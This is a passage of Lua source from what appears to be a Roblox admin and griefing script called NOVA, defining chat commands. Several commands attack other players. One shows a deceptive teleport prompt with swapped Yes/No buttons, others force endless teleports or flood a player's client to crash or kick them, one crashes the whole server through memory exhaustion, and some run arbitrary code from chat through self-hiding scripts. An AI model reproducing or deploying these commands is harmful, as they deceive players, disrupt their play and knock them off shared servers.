3626 | ) | |
3627 | ||
3628 | AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments", | |
3629 | function(Msg,Speaker) | |
3630 | MainCFrame = CFrame.new(0,3,15) | |
3631 | * CFrame.Angles(0,math.rad(90),0) | |
3632 | local Special = {} | |
3633 | pcall(function() workspace["NOVA Portal"]:Remove() end) | |
3634 | local Model = Instance.new("Model",workspace) | |
3635 | Model.Name = "NOVA Portal" | |
3636 | for angle=1,360/4 do | |
3637 | local Part = Instance.new("Part",Model) | |
3638 | Part.Name = "Part" | |
3639 | Part.FormFactor = "Custom" | |
3640 | Part.CanCollide = true | |
3641 | Part.Anchored = true | |
3642 | Part.Locked = true | |
3643 | Part.Transparency = 0 | |
3644 | Part.Reflectance = 0 | |
3645 | Part.Size = Vector3.new(1,5/2,1) | |
3646 | Part.BrickColor = BrickColor.new("Navy blue") | |
3647 | Part.CFrame = MainCFrame | |
3648 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3649 | * CFrame.new(0, 15/2, i) | |
3650 | --wait(0) | |
3651 | Instance.new("BlockMesh",Part) | |
3652 | for num=0,1000,5 do | |
3653 | if angle==num then | |
3654 | wait() | |
3655 | table.insert(Special,Part) | |
3656 | --Part.Reflectance = 1 | |
3657 | Part.Size = Vector3.new(0.9,5/2,0.9) | |
3658 | Part.CFrame = MainCFrame | |
3659 | * CFrame.Angles(math.rad(angle*4), 0, 0) | |
3660 | * CFrame.new(0, 15/2, i) | |
3661 | end | |
3662 | end | |
3663 | end | |
3664 | ||
3665 | for _,v in pairs(Special) do v.Reflectance = 1 wait() end | |
3666 | local Part = Instance.new("Part",Model) | |
3667 | Part.Name = "Part" | |
3668 | Part.FormFactor = "Custom" | |
3669 | Part.CanCollide = false | |
3670 | Part.Anchored = true | |
3671 | Part.Locked = true | |
3672 | Part.TopSurface = "Smooth" | |
3673 | Part.BottomSurface = "Smooth" | |
3674 | Part.Transparency = 0.5 | |
3675 | Part.Reflectance = 0 | |
3676 | Part.Size = Vector3.new(0.2,0.2,0.2) | |
3677 | Part.BrickColor = BrickColor.new("Really black") | |
3678 | Part.CFrame = MainCFrame | |
3679 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3680 | * CFrame.new(0, 0, 0) | |
3681 | Instance.new("CylinderMesh",Part) | |
3682 | ||
3683 | for i=0.2,51/4,0.5 do | |
3684 | wait() | |
3685 | Part.Size = Vector3.new(i,0.9,i) | |
3686 | Part.CFrame = MainCFrame | |
3687 | * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)) | |
3688 | * CFrame.new(0, 0, 0) | |
3689 | end | |
3690 | ||
3691 | coroutine.resume(coroutine.create(function() | |
3692 | while true do wait() | |
3693 | for i=0,1,0.01 do wait() Part.Reflectance = i end | |
3694 | for i=1,0,-0.01 do wait() Part.Reflectance = i end | |
3695 | end | |
3696 | end)) | |
3697 | ||
3698 | Part.Touched:connect(function(Part) | |
3699 | Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent) | |
3700 | if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then | |
3701 | --print(Player.Name.." touched.") | |
3702 | CreateLocalScript([==[ | |
3703 | LocalPlayer = game:GetService("Players").LocalPlayer | |
3704 | Places = { | |
3705 | {Name = "Oxcool1 SB",ID = 20279777}; | |
3706 | {Name = "Oxcool1 PRI SB", ID = 20132544}; | |
3707 | {Name = "TNS SB", ID = 23232804}; | |
3708 | {Name = "BrainWart SB", ID = 76809211}; | |
3709 | {Name = "nb SB",ID = 113456}; | |
3710 | {Name = "nb SB (2)",ID = 56786}; | |
3711 | {Name = "Insert Wars",ID = 13329886}; | |
3712 | {Name = "tus sb", ID = 49907749}; | |
3713 | } | |
3714 | pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end) | |
3715 | local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui) | |
3716 | Main.Name = "NOVA Teleport" | |
3717 | script.Parent = Main | |
3718 | ||
3719 | local Frame = Instance.new("Frame",Main) | |
3720 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
3721 | Frame.Position = UDim2.new(0.,0,0.2,0) | |
3722 | Frame.Style = "RobloxSquare" | |
3723 | ||
3724 | local Txt = Instance.new("TextBox",Frame) | |
3725 | Txt.Size = UDim2.new(0.7,0,1,0) | |
3726 | Txt.BackgroundTransparency = 1 | |
3727 | Txt.FontSize = "Size14" | |
3728 | Txt.TextColor3 = Color3.new(1,1,1) | |
3729 | Txt.Text = "ID/Name Here" | |
3730 | local Close = Instance.new("TextButton",Frame) | |
3731 | Close.Size = UDim2.new(0.1,0,1,0) | |
3732 | Close.Position = UDim2.new(0.9,0,0,0) | |
3733 | Close.Text = "X" | |
3734 | Close.BackgroundTransparency = 1 | |
3735 | Close.FontSize = "Size14" | |
3736 | Close.TextColor3 = Color3.new(1,0,0) | |
3737 | Close.MouseButton1Down:connect(function() | |
3738 | Main:Remove() | |
3739 | end) | |
3740 | local Exe = Instance.new("TextButton",Frame) | |
3741 | Exe.Size = UDim2.new(0.2,0,1,0) | |
3742 | Exe.Position = UDim2.new(0.6,0,0,0) | |
3743 | Exe.Text = "Teleport" | |
3744 | Exe.BackgroundTransparency = 1 | |
3745 | Exe.FontSize = "Size14" | |
3746 | Exe.TextColor3 = Color3.new(1,0,0) | |
3747 | Exe.MouseButton1Down:connect(function() | |
3748 | GoTo = Txt.Text | |
3749 | for _,v in pairs(Places) do | |
3750 | if Txt.Text:lower() == v.Name:lower() then | |
3751 | GoTo = v.ID | |
3752 | end | |
3753 | end | |
3754 | game:GetService'TeleportService':Teleport(GoTo) | |
3755 | Main:Remove() | |
3756 | end) | |
3757 | ||
3758 | List = Instance.new("Frame",Main) | |
3759 | List.Size = UDim2.new(0.27,0,0.05*#Places,0) | |
3760 | List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0) | |
3761 | List.Style = "RobloxSquare" | |
3762 | ||
3763 | for NUM,v in pairs(Places) do | |
3764 | Name = Instance.new("TextButton",List) | |
3765 | Name.Size = UDim2.new(0.5,0,1/#Places,0) | |
3766 | Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0) | |
3767 | Name.BackgroundTransparency = 1 | |
3768 | Name.FontSize = "Size14" | |
3769 | Name.TextColor3 = Color3.new(1,1,1) | |
3770 | Name.Text = v.Name | |
3771 | Name.MouseButton1Down:connect(function() | |
3772 | game:GetService'TeleportService':Teleport(v.ID) | |
3773 | end) | |
3774 | ID = Instance.new("TextButton",List) | |
3775 | ID.Size = UDim2.new(0.5,0,1/#Places,0) | |
3776 | ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0) | |
3777 | ID.BackgroundTransparency = 1 | |
3778 | ID.FontSize = "Size14" | |
3779 | ID.TextColor3 = Color3.new(1,1,1) | |
3780 | ID.Text = v.ID | |
3781 | ID.MouseButton1Down:connect(function() | |
3782 | game:GetService'TeleportService':Teleport(v.ID) | |
3783 | end) | |
3784 | end | |
3785 | ]==],Player.Backpack) | |
3786 | end | |
3787 | end) | |
3788 | end | |
3789 | ) | |
3790 | ||
3791 | AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>", | |
3792 | function(Msg,Speaker) | |
3793 | GetSplit(Msg) | |
3794 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3795 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack) | |
3796 | end | |
3797 | end | |
3798 | ) | |
3799 | ||
3800 | AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>", | |
3801 | function(Msg,Speaker) | |
3802 | Split = GetSplit(Msg) | |
3803 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3804 | CreateLocalScript([==[ | |
3805 | script.Parent = nil | |
3806 | while true do wait() | |
3807 | game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[) | |
3808 | end | |
3809 | ]==],v.Backpack) | |
3810 | end | |
3811 | end | |
3812 | ) | |
3813 | ||
3814 | AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>", | |
3815 | function(Msg,Speaker) | |
3816 | Split = GetSplit(Msg) | |
3817 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3818 | pcall(function() | |
3819 | CreateLocalScript([[ | |
3820 | LocalPlayer = game.Players.LocalPlayer | |
3821 | script.Parent = nil | |
3822 | ScreenGui = Instance.new("ScreenGui") | |
3823 | ScreenGui.Name = "Trololol" | |
3824 | Frame = Instance.new("Frame",ScreenGui) | |
3825 | Frame.Name = "Popup" | |
3826 | Frame.Style = "RobloxRound" | |
3827 | Frame.Size = UDim2.new(0, 330, 0, 350) | |
3828 | Frame.Position = UDim2.new(0.5, -165, 0.5, -175) | |
3829 | Frame.Active = true | |
3830 | Frame.ZIndex = 9 | |
3831 | ||
3832 | Image = Instance.new("ImageLabel",Frame) | |
3833 | Image.Name = "Backing" | |
3834 | Image.Image = "http://www.roblox.com/asset/?id=47574181" | |
3835 | Image.Active = true | |
3836 | Image.Size = UDim2.new(0, 280, 0, 280) | |
3837 | Image.Position = UDim2.new(0.5, -140, 0, 0) | |
3838 | Image.BackgroundTransparency = 1 | |
3839 | Image.ZIndex = 8 | |
3840 | ||
3841 | Text = Instance.new("TextLabel",Frame) | |
3842 | Text.Name = "Popup Text" | |
3843 | Text.Text = "Are you sure you want to teleport from this place?" | |
3844 | Text.FontSize = "Size36" | |
3845 | Text.TextWrap = true | |
3846 | Text.Active = true | |
3847 | Text.TextColor3 = Color3.new(1,1,1) | |
3848 | Text.Size = UDim2.new(1, 0, 0.800000012, 0) | |
3849 | Text.Position = UDim2.new(0,0,0,0) | |
3850 | Text.BackgroundTransparency = 1 | |
3851 | Text.ZIndex = 10 | |
3852 | ||
3853 | Accept = Instance.new("TextButton",Frame) | |
3854 | Accept.Name = "AcceptButton" | |
3855 | Accept.Text = "No" | |
3856 | Accept.Style = "RobloxButton" | |
3857 | Accept.FontSize = "Size24" | |
3858 | Accept.Active = true | |
3859 | Accept.TextColor3 = Color3.new(1,1,1) | |
3860 | Accept.Size = UDim2.new(0, 100, 0, 50) | |
3861 | Accept.Position = UDim2.new(0,20,0,270) | |
3862 | Accept.ZIndex = 10 | |
3863 | ||
3864 | Decline = Instance.new("TextButton",Frame) | |
3865 | Decline.Name = "DeclineButton" | |
3866 | Decline.Text = "Yes" | |
3867 | Decline.Style = "RobloxButton" | |
3868 | Decline.FontSize = "Size24" | |
3869 | Decline.Active = true | |
3870 | Decline.TextColor3 = Color3.new(1,1,1) | |
3871 | Decline.Size = UDim2.new(0, 100, 0, 50) | |
3872 | Decline.Position = UDim2.new(1, -120, 0, 270) | |
3873 | Decline.ZIndex = 10 | |
3874 | ||
3875 | Darken = Instance.new("Frame",Frame) | |
3876 | Darken.Name = "Darken" | |
3877 | Darken.Style = "RobloxRound" | |
3878 | Darken.Size = UDim2.new(1,16,1,16) | |
3879 | Darken.Position = UDim2.new(0,-8,0,-8) | |
3880 | Darken.Active = true | |
3881 | Darken.Visible = false | |
3882 | ||
3883 | Backing = Instance.new("Frame",ScreenGui) | |
3884 | Backing.Name = "Backing" | |
3885 | Backing.BackgroundColor3 = Color3.new(1,1,1) | |
3886 | Backing.Size = UDim2.new(1,0,1,0) | |
3887 | Backing.Active = true | |
3888 | ScreenGui.Parent = game:GetService("CoreGui") | |
3889 | while true do wait() | |
3890 | game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[) | |
3891 | end | |
3892 | ||
3893 | ||
3894 | ]],v.Backpack) | |
3895 | end) | |
3896 | end | |
3897 | end | |
3898 | ) | |
3899 | ||
3900 | AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>", | |
3901 | function(Msg,Speaker) | |
3902 | coroutine.resume(coroutine.create(function() | |
3903 | NOVA.Services.Lighting.TimeOfDay = 0 | |
3904 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
3905 | NOVA.Services.Lighting.Brightness = 0 | |
3906 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
3907 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
3908 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
3909 | ||
3910 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
3911 | if v:IsA("BasePart") then | |
3912 | Sel = Instance.new("SelectionBox",v) | |
3913 | Sel.Color = BrickColor.new("Really red") | |
3914 | Sel.Transparency = 0 | |
3915 | Sel.Adornee = v | |
3916 | end | |
3917 | end | |
3918 | for i=10,1,-1 do | |
3919 | NOVA.Sounds.Sound.Parent = workspace | |
3920 | NOVA.Sounds.Sound.Volume = 1 | |
3921 | NOVA.Sounds.Sound.Pitch = 1 | |
3922 | NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866" | |
3923 | wait(1) | |
3924 | NOVA.Sounds.Sound:Play() | |
3925 | if NOVA.Overrided == true then return end | |
3926 | end | |
3927 | for i=5,1,-1 do | |
3928 | NOVA.Sounds.Sound.Parent = workspace | |
3929 | NOVA.Sounds.Sound.Volume = 1 | |
3930 | NOVA.Sounds.Sound.Pitch = 1 | |
3931 | NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i] | |
3932 | wait(1) | |
3933 | NOVA.Sounds.Sound:Play() | |
3934 | if NOVA.Overrided == true then return end | |
3935 | end | |
3936 | wait(1) | |
3937 | Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000) | |
3938 | wait(1) | |
3939 | Instance.new("ManualSurfaceJointInstance",workspace) | |
3940 | end)) | |
3941 | end | |
3942 | ) | |
3943 | ||
3944 | AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>", | |
3945 | function(Msg,Speaker) | |
3946 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3947 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
3948 | Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
3949 | else | |
3950 | pcall(function() | |
3951 | GetRidOf(v) | |
3952 | end) | |
3953 | end | |
3954 | end | |
3955 | end | |
3956 | ) | |
3957 | ||
3958 | AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments", | |
3959 | function(Msg,Speaker) | |
3960 | coroutine.resume(coroutine.create(function() | |
3961 | for _,v in pairs(NOVA.Sounds.Numbers) do | |
3962 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
3963 | NOVA.Sounds.Sound.SoundId = v | |
3964 | NOVA.Sounds.Sound.Volume = 0 | |
3965 | wait() | |
3966 | NOVA.Sounds.Sound:Play() | |
3967 | wait() | |
3968 | NOVA.Sounds.Sound:Stop() | |
3969 | wait(1) | |
3970 | end | |
3971 | for _,v in pairs(NOVA.Sounds.PlayAfter) do | |
3972 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
3973 | NOVA.Sounds.Sound.SoundId = v | |
3974 | NOVA.Sounds.Sound.Volume = 0 | |
3975 | wait() | |
3976 | NOVA.Sounds.Sound:Play() | |
3977 | wait() | |
3978 | NOVA.Sounds.Sound:Stop() | |
3979 | wait(1) | |
3980 | end | |
3981 | NOVA.Sounds.Sound.Volume = 1 | |
3982 | end)) | |
3983 | end | |
3984 | ) | |
3985 | ||
3986 | AddCommand("Target","targ",6,"Targets the selected player.","<Player>", | |
3987 | function(Msg,Speaker) | |
3988 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3989 | table.insert(NOVA.Targeted,v) | |
3990 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3991 | if part:IsA("Part") then | |
3992 | coroutine.resume(coroutine.create(function() | |
3993 | local SB = Instance.new("SelectionBox",part) | |
3994 | SB.Name = "NOVA Target Selection Box" | |
3995 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
3996 | SB.Adornee = part | |
3997 | wait(3) | |
3998 | SB:remove() | |
3999 | end)) | |
4000 | end | |
4001 | end | |
4002 | end | |
4003 | end | |
4004 | ) | |
4005 | ||
4006 | AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>", | |
4007 | function(Msg,Speaker) | |
4008 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4009 | for i=1,#NOVA.Targeted do | |
4010 | if NOVA.Targeted[i] == v then | |
4011 | table.remove(NOVA.Targeted,i) | |
4012 | end | |
4013 | end | |
4014 | end | |
4015 | end | |
4016 | ) | |
4017 | ||
4018 | AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments", | |
4019 | function(Msg,Speaker) | |
4020 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack) | |
4021 | end | |
4022 | ) | |
4023 | ||
4024 | AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments", | |
4025 | function(Msg,Speaker) | |
4026 | CreateLocalScript([[ | |
4027 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4028 | script.Parent = LocalPlayer | |
4029 | NOVA = { | |
4030 | Bet = "/"; | |
4031 | Services = { | |
4032 | Workspace = game:GetService("Workspace"); | |
4033 | Lighting = game:GetService("Lighting"); | |
4034 | Debris = game:GetService("Debris"); | |
4035 | Players = game:GetService("Players"); | |
4036 | Teams = game:GetService("Teams"); | |
4037 | SoundService = game:GetService("SoundService"); | |
4038 | StarterGui = game:GetService("StarterGui"); | |
4039 | StarterPack = game:GetService("StarterPack"); | |
4040 | }; | |
4041 | Camera = workspace.CurrentCamera; | |
4042 | LocalCharacter = Instance.new("Model"); | |
4043 | LocalHead = Instance.new("Part"); | |
4044 | LocalFire = Instance.new("Fire"); | |
4045 | } | |
4046 | script.Name = NOVA.LocalPlayer.Name | |
4047 | script.Parent = nil | |
4048 | repeat wait() until NOVA.LocalPlayer.Parent == nil | |
4049 | game.Players.LocalPlayer.Chatted:connect(function(Msg) | |
4050 | if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then | |
4051 | game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2)) | |
4052 | if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then | |
4053 | game:GetService'TeleportService':Teleport(game.PlaceId) | |
4054 | end | |
4055 | if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then | |
4056 | pcall(function() | |
4057 | newScript(Msg:sub(4),workspace) | |
4058 | end) | |
4059 | end | |
4060 | if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then | |
4061 | coroutine.resume(coroutine.create(function() | |
4062 | pcall(function() | |
4063 | loadstring(Msg:sub(8))() | |
4064 | end) | |
4065 | end)) | |
4066 | end | |
4067 | if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then | |
4068 | LocalPlayer.Character = workspace | |
4069 | end | |
4070 | end | |
4071 | end) | |
4072 | NOVA.LocalPlayer.Character = nil | |
4073 | NOVA.LocalHead.FormFactor = "Custom" | |
4074 | NOVA.LocalHead.Size = Vector3.new(3,3,3) | |
4075 | NOVA.LocalHead.Reflectance = 1e+999 | |
4076 | NOVA.LocalHead.Shape = "Ball" | |
4077 | NOVA.LocalHead.Anchored = true | |
4078 | NOVA.LocalHead.CanCollide = false | |
4079 | NOVA.LocalHead.Transparency = 0 | |
4080 | NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name | |
4081 | NOVA.LocalFire.Color = Color3.new(0,0,0) | |
4082 | NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0) | |
4083 | NOVA.LocalFire.Heat = 12 | |
4084 | NOVA.LocalFire.Size = 7 | |
4085 | ||
4086 | while wait() do | |
4087 | pcall(function() | |
4088 | NOVA.LocalCharacter.Parent=workspace | |
4089 | NOVA.LocalHead.Parent = NOVA.LocalCharacter | |
4090 | NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125) | |
4091 | NOVA.LocalFire.Parent = NOVA.LocalHead | |
4092 | end) | |
4093 | end | |
4094 | ]],Speaker.Backpack) | |
4095 | end | |
4096 | ) | |
4097 | ||
4098 | ||
4099 | AddCommand("Script","c",6,"Pseudo scripting command.","<Source>", | |
4100 | function(Msg,Speaker) | |
4101 | CreateScript(Msg,workspace) | |
4102 | end | |
4103 | ) | |
4104 | ||
4105 | AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>", | |
4106 | function(Msg,Speaker) | |
4107 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4108 | CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4109 | end | |
4110 | end | |
4111 | ) | |
4112 | ||
4113 | AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>", | |
4114 | function(Msg,Speaker) | |
4115 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4116 | CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4117 | end | |
4118 | end | |
4119 | ) | |
4120 | ||
4121 | AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>", | |
4122 | function(Msg,Speaker) | |
4123 | CreateLocalScript(Msg,Speaker.Backpack) | |
4124 | end | |
4125 | ) | |
4126 | ||
4127 | AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments", | |
4128 | function(Msg,Speaker) | |
4129 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
4130 | pcall(function() | |
4131 | v.Transparency = 7.3015691270939e-002 | |
4132 | end) | |
4133 | end | |
4134 | end | |
4135 | ) | |
4136 | ||
4137 | AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>", | |
4138 | function(Msg,Speaker) | |
4139 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4140 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4141 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4142 | else | |
4143 | pcall(function() | |
4144 | CreateLocalScript([==[ | |
4145 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4146 | Camera = workspace.CurrentCamera | |
4147 | while wait() do | |
4148 | for i=1,10 do | |
4149 | Part = Instance.new("Seat",Camera) | |
4150 | Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20)) | |
4151 | Part.Shape = "Ball" | |
4152 | Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
4153 | Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250)) | |
4154 | end | |
4155 | end | |
4156 | ]==],v.Backpack) | |
4157 | end) | |
4158 | end | |
4159 | end | |
4160 | end | |
4161 | ) | |
4162 | ||
4163 | AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>", | |
4164 | function(Msg,Speaker) | |
4165 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4166 | CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack) | |
4167 | end | |
4168 | end | |
4169 | ) | |
4170 | ||
4171 | AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>", | |
4172 | function(Msg,Speaker) | |
4173 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4174 | for _,GUI in pairs(v.PlayerGui:children()) do | |
4175 | GUI:Clone().Parent = Speaker.PlayerGui | |
4176 | end | |
4177 | end | |
4178 | end | |
4179 | ) | |
4180 | ||
4181 | AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments", | |
4182 | function(Msg,Speaker) | |
4183 | for _,v in pairs(NOVA.Targeted) do | |
4184 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
4185 | if part:IsA("Part") then | |
4186 | coroutine.resume(coroutine.create(function() | |
4187 | local SB = Instance.new("SelectionBox",part) | |
4188 | SB.Name = "NOVA Target Selection Box" | |
4189 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
4190 | SB.Adornee = part | |
4191 | wait(3) | |
4192 | SB:remove() | |
4193 | end)) | |
4194 | end | |
4195 | end | |
4196 | end | |
4197 | end | |
4198 | ) | |
4199 | ||
4200 | AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>", | |
4201 | function(Msg,Speaker) | |
4202 | if Msg:sub(1,4) == "add" .. NOVA.Bet then | |
4203 | Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5)) | |
4204 | elseif Msg:sub(1,4) == "set" .. NOVA.Bet then | |
4205 | Speaker:SaveString("NoteToSelf",Msg:sub(5)) | |
4206 | elseif Msg == "see" then | |
4207 | Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker) | |
4208 | end | |
4209 | end | |
4210 | ) | |
4211 | ||
4212 | AddCommand("Smite","smite",6,"Smites the selected player.","<Player>", | |
4213 | function(Msg,Speaker) | |
4214 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4215 | local Char = v.Character | |
4216 | local Smite = Instance.new("Part",workspace) | |
4217 | Smite.FormFactor = "Custom" | |
4218 | Smite.TopSurface = "Smooth" | |
4219 | Smite.BottomSurface = "Smooth" | |
4220 | Smite.Anchored = true | |
4221 | Smite.Locked = true | |
4222 | Smite.Size = Vector3.new(25,3,25) | |
4223 | Smite.BrickColor = BrickColor.new("New Yeller") | |
4224 | Smite.Transparency = 1 | |
4225 | Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0) | |
4226 | for i=1,0,-0.05 do | |
4227 | wait() | |
4228 | Smite.Transparency = i | |
4229 | end | |
4230 | coroutine.resume(coroutine.create(function() | |
4231 | for i=0,1,0.05 do | |
4232 | wait() | |
4233 | Smite.Transparency = i | |
4234 | end | |
4235 | Smite:remove() | |
4236 | end)) | |
4237 | wait() | |
4238 | local Expl = Instance.new("Explosion",workspace) | |
4239 | Expl.Position = Smite.Position | |
4240 | Expl.BlastPressure = 1000000000 | |
4241 | for _,Part in pairs(GetRecursiveChildren(Char)) do | |
4242 | if Part:IsA("BasePart") then | |
4243 | coroutine.resume(coroutine.create(function() | |
4244 | for i=1,10 do | |
4245 | local Sparkles = Instance.new("Sparkles",Part) | |
4246 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4247 | local Fire = Instance.new("Fire",Part) | |
4248 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4249 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4250 | end | |
4251 | Part:BreakJoints() | |
4252 | local BP = Instance.new("BodyPosition",Part) | |
4253 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
4254 | BP.P = 1000 | |
4255 | BP.position = Part.Position + Vector3.new( | |
4256 | math.random(-100,100), | |
4257 | 100, | |
4258 | math.random(-100,100)) | |
4259 | wait(3) | |
4260 | local Expl = Instance.new("Explosion",workspace) | |
4261 | Expl.Position = Part.Position | |
4262 | Expl.BlastPressure = 1000000000 | |
4263 | end)) | |
4264 | end | |
4265 | end | |
4266 | end | |
4267 | end | |
4268 | ) | |
4269 | AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>", | |
4270 | function(Msg,Speaker) | |
4271 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4272 | pcall(function() | |
4273 | v.Character.Pants:Remove() | |
4274 | v.Character.Shirt:Remove() | |
4275 | end) | |
4276 | end | |
4277 | end | |
4278 | ) | |
4279 | ||
4280 | AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>", | |
4281 | function(Msg,Speaker) | |
4282 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4283 | v.Character.Humanoid.Changed:connect(function(val) | |
4284 | if val == "Health" then | |
4285 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
4286 | end | |
4287 | ||
4288 | end) | |
4289 | end | |
4290 | end | |
4291 | ) | |
4292 | ||
4293 | AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>", | |
4294 | function(Msg,Speaker) | |
4295 | NOVA.Bet = Msg | |
4296 | end | |
4297 | ) | |
4298 | AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>", | |
4299 | function(Msg,Speaker) | |
4300 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4301 | coroutine.resume(coroutine.create(function() | |
4302 | while wait() do | |
4303 | for i = 1, 100 do | |
4304 | if v:findFirstChild("PlayerGui") ~= nil then | |
4305 | local mes = Instance.new("Message", v.PlayerGui) | |
4306 | mes.Text = "Crashing" | |
4307 | local ex = Instance.new("Explosion", v.PlayerGui) | |
4308 | ex.BlastRadius = math.huge | |
4309 | local hint = Instance.new("Hint", v.PlayerGui) | |
4310 | hint.Text = "---------------------------------------------------------------------------" | |
4311 | local s = Instance.new("ScreenGui", v.PlayerGui) | |
4312 | local txt = Instance.new("TextBox", s) | |
4313 | txt.Size = UDim2.new(1, 0, 1, 0) | |
4314 | txt.Text = "Your Being Lagged" | |
4315 | txt.FontSize = "Size48" | |
4316 | end | |
4317 | end | |
4318 | end | |
4319 | end)) | |
4320 | end | |
4321 | end | |
4322 | ) | |
